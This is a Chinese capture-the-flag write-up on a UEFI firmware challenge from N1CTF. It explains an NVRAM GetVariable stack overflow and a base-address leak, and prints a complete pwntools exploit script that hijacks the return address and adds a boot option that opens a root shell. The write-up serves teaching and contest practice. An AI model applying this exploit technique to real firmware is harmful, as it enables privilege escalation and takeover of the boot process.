
作者:Rivaille@知道創宇404實驗室日期:2022年11月10日
題目分析
uefi-firmware-parser -ecO ./OVMF.fd
簡單看一下解包後的目錄,大致判斷BIOS可能在file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792或者file-df1ccef6-f301-4a63-9661-fc6030dcc880這個目錄中。
import os, subprocessimport randomdef main(): try: os.system("rm -f OVMF.fd") os.system("cp OVMF.fd.bak OVMF.fd") ret = subprocess.call([ "qemu-system-x86_64", "-m", str(256+random.randint(0, 512)), "-drive", "if=pflash,format=raw,file=OVMF.fd", "-drive", "file=fat:rw:contents,format=raw", "-net", "none", "-monitor", "/dev/null", "-s","-S", "-nographic" ]) print("Return:", ret) except Exception as e: print(e) print("Error!") finally: print("Done.")if __name__ == "__main__": main()

漏洞分析
通過winchecksec查看開啟的保護機制:
漏洞原理是這樣的:GetVariable在第一次從nvram取值寫入棧中時,如果nvram變量的長度不為1,datasize的長度會被改寫為對應nvram變量的長度。第二次調用GetVariable函數時,如果對datasize未做初始化,就有可能造成溢出。
相關漏洞可以參考一下這篇文章:https://binarly.io/advisories/BRLY-2021-007/index.html。(比賽時候還是得多google一下)。
回到Encode函數,我們看到函數從N1CTF_KEY中取值寫入棧,然後和buffer中的值進行異或運算。而Add函數可以重新寫入nvram變量,且寫入的字符串最大長度為256字節,就是說我們可以通過Add覆蓋掉之前定義的N1CTF_KEY1,N1CTF_KEY2,N1CTF_KEY3這三個變量的值。我們覆寫N1CTF_KEY1的值為a*0x1c,覆寫N1CTF_KEY2的值為a*0x18+p32(boot_addr),然後設置一個nvram變量OVERFLOW,使其長度為0x11個字節,然後進入Encode函數,對OVERFLOW的值進行編碼,這樣第一次讀取N1CTF_KEY1改寫datasize,第二次讀取N1CTF_KEY2就可以溢出到函數的返回地址處,劫持rip寄存器,使其跳轉到boot manager的設置界面,獲取root shell。

動態調試
第二個地址減去偏移就是程序的基址。
調試的過程中會發現一個問題:雖然winchecksec檢查程序沒有開啟aslr,但是實際上UiApp的加載基址是在變化的。所以需要泄露.text段的一個內存地址,才能成功把返回地址覆寫成boot manager對應的地址。
在調試的過程中,我發現當Add設置的字符串長度等於256個字節時,會打印出一個地址。通過多次嘗試,我發現這個地址和UiApp的基址的偏移一定程度上是固定,為0x1d009c0或者0x1e009c0,通過泄露出的地址減去偏移實際上也就得到了UiApp的基址。

漏洞利用
from pwn import *context.log_level = "debug"context.arch = "amd64"boot_offset = 0x235Auiapp_offset = 0x1e009c0DEBUG = 1if DEBUG == 1: ''' fname = "/tmp/uefi" os.system("cp OVMF.fd %s"%fname) os.system("chmod u+w %s"%fname) ''' p = process([ "qemu-system-x86_64", "-m", str(256+random.randint(0, 512)), "-drive", "if=pflash,format=raw,file=OVMF.fd", "-drive", "file=fat:rw:contents,format=raw", "-net", "none", "-monitor", "/dev/null", #"-s","-S", "-nographic" ])else : p = remote("47.243.105.43","9999")LOCAL_REMOTE = 0if LOCAL_REMOTE: os.system("socat $(tty),echo=0,escape=0x03 SYSTEM:\"python ./exp.py \" 2>&1")key_map = { "up": b"\x1b[A", "down": b"\x1b[B", "left": b"\x1b[D", "right": b"\x1b[C", "esc": b"\x1b^[", "enter": b"\r", "tab": b"\t"}def send_key(key,times = 1): for _ in range(times): p.send(key_map[key]) if key == "enter": p.recv()def add(Keyname,Keyvalue): p.sendlineafter("> \n",str(1)) p.sendlineafter('Key name:\n',Keyname) p.sendlineafter('Key value:\n',Keyvalue)def delete(Keyname,Keyvalue): p.sendlineafter("> \n",str(2)) p.sendlineafter('Key name:\n',Keyname)def Encode(Keyname): p.sendlineafter("> \n",str(4)) p.sendlineafter("Key name:\n",Keyname) p.recv()def exp(): # leak UiAPP address p.sendline("\x1b[24~"*10) p.sendlineafter("> \n",str(1)) p.sendlineafter("Key name:\n","N1CTF_KEY3") p.sendafter("Key value:\n",'a'*256) p.recvuntil('Encode\n> \n') p.sendline(str(3)) p.recvuntil("Key name:\n") p.sendline('N1CTF_KEY3') p.recvuntil('Value: \n') p.recvuntil('a'*256) data = p.recvuntil('\n').strip('\n') leak_addr,i,j = 0,0,0 while i < len(data): print(data[i]) if data[i] == "\\": n = int(data[i+2],16)*0x10 + int(data[i+3],16) i += 4 else: n = ord(data[i]) i += 1 leak_addr += n * (0x100**j) j += 1 uiapp_base_addr = leak_addr - uiapp_offset log.success("leak address: %s"%hex(leak_addr)) log.success("UiApp address: %s"%hex(uiapp_base_addr)) boot_addr = uiapp_base_addr + boot_offset pause() # statck overflow payload = 'a'*0x18 + p32(boot_addr) add("N1CTF_KEY1",payload) add("N1CTF_KEY2",payload) add("OVERFLOW",'a'*0x11) p.recvuntil("> \n") p.sendline('4') p.recvuntil('Key name:\n') p.sendline('OVERFLOW') # Add option,get root shell p.recvuntil(b"Standard PC") send_key("down", 3) send_key("enter") send_key("enter") send_key("down") send_key("enter") send_key("enter") send_key("down", 3) send_key("enter") p.send(b"\rrootshell\r") send_key("down") p.send(b"\rconsole=ttyS0 initrd=rootfs.img rdinit=/bin/sh quiet\r") send_key("down") send_key("enter") send_key("up") send_key("enter") send_key("esc") send_key("enter") send_key("down", 3) send_key("enter") # root shell # p.sendlineafter(b"/ #", b"cat /flag") p.interactive()def main(): exp()if __name__ == "__main__": main()

參考資料
https://www.anquanke.com/post/id/243007#h2-0
https://eqqie.cn/index.php/archives/1929
https://github.com/topics/uefi-pwn
作者名片
END


